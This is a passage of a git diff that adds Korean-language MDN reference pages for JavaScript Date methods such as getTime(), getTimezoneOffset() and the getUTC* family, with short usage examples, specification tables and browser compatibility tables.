+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.22', 'Date.prototype.getSeconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getseconds', 'Date.prototype.getSeconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Date.getSeconds")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setSeconds()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/gettime/index.html b/files/ko/web/javascript/reference/global_objects/date/gettime/index.html
new file mode 100644
index 0000000000..20b554b41f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/gettime/index.html
@@ -0,0 +1,139 @@
+---
+title: Date.prototype.getTime()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTime
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTime
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getTime()</strong> 메서드는 표준시에 따라 지정된 날짜의 시간에 해당하는 숫자 값을 반환합니다.</p>
+
+<p>이 메서드를 사용하면 다른 {{jsxref ( "Date")}} 객체에 날짜와 시간을 지정할 수 있습니다. 이 메소드는 기능적으로 {{jsxref("Date.valueof", "valueOf()")}} 메소드와 동일합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTime()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>1970 년 1 월 1 일 00:00:00 UTC와 주어진 날짜 사이의 경과 시간 (밀리 초)을 나타내는 숫자입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="날짜_복사에_getTime_()_사용">날짜 복사에 getTime () 사용</h3>
+
+<p>동일한 시간 값으로 날짜 객체를 생성합니다.</p>
+
+<pre class="brush: js">// 월은 0부터 시작하여 생일은 1995 년 1 월 10 일이됩니다.
+var birthday = new Date(1994, 12, 10);
+var copy = new Date();
+copy.setTime(birthday.getTime());
+</pre>
+
+<p> </p>
+
+<h3 id="측정_실행_시간">측정 실행 시간</h3>
+
+<p>새로 생성 된 {{jsxref ( "Date")}} 객체에서 두 개의 연속 getTime () 호출을 뺀 후에이 두 호출 사이의 시간 범위를 지정하십시오. 일부 작업의 실행 시간을 계산하는 데 사용할 수 있습니다. 불필요한 {{jsxref ( "Date")}} 객체를 인스턴스화하지 않으려면 {{jsxref("Date.now()")}}를 참조하십시오.</p>
+
+<pre class="brush: js">var end, start;
+
+start = new Date();
+for (var i = 0; i &lt; 1000; i++) {
+ Math.sqrt(i);
+}
+end = new Date();
+
+console.log('Operation took ' + (end.getTime() - start.getTime()) + ' msec');
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.9', 'Date.prototype.getTime')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.gettime', 'Date.prototype.getTime')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.setTime()")}}</li>
+ <li>{{jsxref("Date.prototype.valueOf()")}}</li>
+ <li>{{jsxref("Date.now()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html b/files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
new file mode 100644
index 0000000000..5f1681767f
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/gettimezoneoffset/index.html
@@ -0,0 +1,119 @@
+---
+title: Date.prototype.getTimezoneOffset()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getTimezoneOffset() </strong>메소드는 현재 로케일 (즉, 호스트 시스템 설정)에 대한 시간대 오프셋 (UTC)을 분 단위로 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getTimezoneOffset()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>현재 호스트 설정을 기반으로하는 날짜에 대한 시간대 오프셋 (UTC) (분)을 나타내는 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>시간대 오프셋은 UTC와 현지 시간의 차이 (분)입니다. 이것은 로컬 시간대가 UTC보다 뒤떨어져 있으면 오프셋이 양수이고 앞에있을 경우 음수임을 의미합니다. 예를 들어, 시간대 UTC + 10 : 00 (오스트레일리아 동부 표준시, 블라디보스토크 시간, 차모로 표준시)의 경우 -600이 반환됩니다.</p>
+
+<p>반환 된 표준 시간대 오프셋은 호출 된 날짜에 적용되는 오프셋입니다. 호스트 시스템이 일광 절약 시간으로 구성된 경우 오프셋은 Date가 나타내는 날짜와 시간에 따라 변경되고 일광 절약 시간이 적용됩니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getTimezoneOffset()">Using <code>getTimezoneOffset()</code></h3>
+
+<pre class="brush: js">// 호스트 장치의 현재 시간대 오프셋 가져 오기
+var x = new Date();
+var currentTimeZoneOffsetInHours = x.getTimezoneOffset() / 60;
+
+// 2016 년 국제 노동절 (5 월 1 일)에 대한 시간대 오프셋 가져 오기
+var labourDay = new Date(2016,4,1)
+var labourDayOffset = labourDay.getTimezoneOffset() / 60;
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.26', 'Date.prototype.getTimezoneOffset')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.gettimezoneoffset', 'Date.prototype.getTimezoneOffset')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatIE("5")}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html
new file mode 100644
index 0000000000..f74fb120db
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcdate/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.getUTCDate()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDate
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCDate()</strong> 메서드는 표준시에 따라 지정된 날짜에 해당 월의 요일 (날짜)을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDate()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>보편적 인 시간에 따라 지정된 날짜의 달의 날짜를 나타내는 1에서 31 사이의 정수입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCDate()">Using <code>getUTCDate()</code></h3>
+
+<p>다음 예제에서는 현재 날짜의 일 부분을 day 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var day = today.getUTCDate();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.15', 'Date.prototype.getUTCDate')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcdate', 'Date.prototype.getUTCDate')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcday/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcday/index.html
new file mode 100644
index 0000000000..c451fba612
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcday/index.html
@@ -0,0 +1,118 @@
+---
+title: Date.prototype.getUTCDay()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCDay
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCDay()</strong> 메서드는 지정된 날짜의 요일을 표준시에 따라 반환합니다. 여기서 0은 일요일을 나타냅니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCDay()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>지정된 날짜의 요일에 해당하는 표준시에 따른 정수입니다 (일요일은 0, 월요일은 1, 화요일은 2 등).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCDay()">Using <code>getUTCDay()</code></h3>
+
+<p>다음 예제에서는 현재 날짜의 평일 부분을 weekday 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var weekday = today.getUTCDay();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.17', 'Date.prototype.getUTCDay')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcday', 'Date.prototype.getUTCDay')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getDay()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html
new file mode 100644
index 0000000000..f7097db08a
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcfullyear/index.html
@@ -0,0 +1,121 @@
+---
+title: Date.prototype.getUTCFullYear()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCFullYear()</strong> 메서드는 표준시에 따라 지정된 날짜의 연도를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCFullYear()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>주어진 날짜의 연도를 표준시에 따라 나타내는 숫자입니다.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><strong>getUTCFullYear()</strong>에 의해 반환 된 값은 1995 년과 같이 2000 년과 호환되는 절대 숫자입니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCFullYear()">Using <code>getUTCFullYear()</code></h3>
+
+<p>다음 예제에서는 현재 연도의 4 자리 값을 변수 year에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var year = today.getUTCFullYear();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.11', 'Date.prototype.getUTCFullYear')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcfullyear', 'Date.prototype.getUTCFullYear')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutchours/index.html b/files/ko/web/javascript/reference/global_objects/date/getutchours/index.html
new file mode 100644
index 0000000000..11171e568c
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutchours/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCHours()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCHours
+---
+<div>{{JSRef}}</div>
+
+<p>getUTCHours () 메서드는 표준시에 따라 지정된 날짜의 시간을 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCHours()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 23까지의 정수로, 표준시에 따라 지정된 날짜의 시간을 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCHours()">Using <code>getUTCHours()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 시간 부분을 시간 변수로 지정합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var hours = today.getUTCHours();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.19', 'Date.prototype.getUTCHours')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutchours', 'Date.prototype.getUTCHours')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Date.prototype.getHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+</ul>
diff --git a/files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html b/files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html
new file mode 100644
index 0000000000..8121d3c7c4
--- /dev/null
+++ b/files/ko/web/javascript/reference/global_objects/date/getutcmilliseconds/index.html
@@ -0,0 +1,117 @@
+---
+title: Date.prototype.getUTCMilliseconds()
+slug: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+translation_of: Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds
+---
+<div>{{JSRef}}</div>
+
+<p><strong>getUTCMilliseconds()</strong> 메서드는 표준시에 따라 지정된 날짜의 밀리 초를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><var>dateObj</var>.getUTCMilliseconds()</code></pre>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>0부터 999까지의 정수로, 표준시에 따라 지정된 날짜의 밀리 초를 나타냅니다.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Using_getUTCMilliseconds()">Using <code>getUTCMilliseconds()</code></h3>
+
+<p>다음 예제에서는 현재 시간의 밀리 초 부분을 밀리 초 변수에 할당합니다.</p>
+
+<pre class="brush: js">var today = new Date();
+var milliseconds = today.getUTCMilliseconds();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.3.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.9.5.25', 'Date.prototype.getUTCMilliseconds')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-date.prototype.getutcmilliseconds', 'Date.prototype.getUTCMilliseconds')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
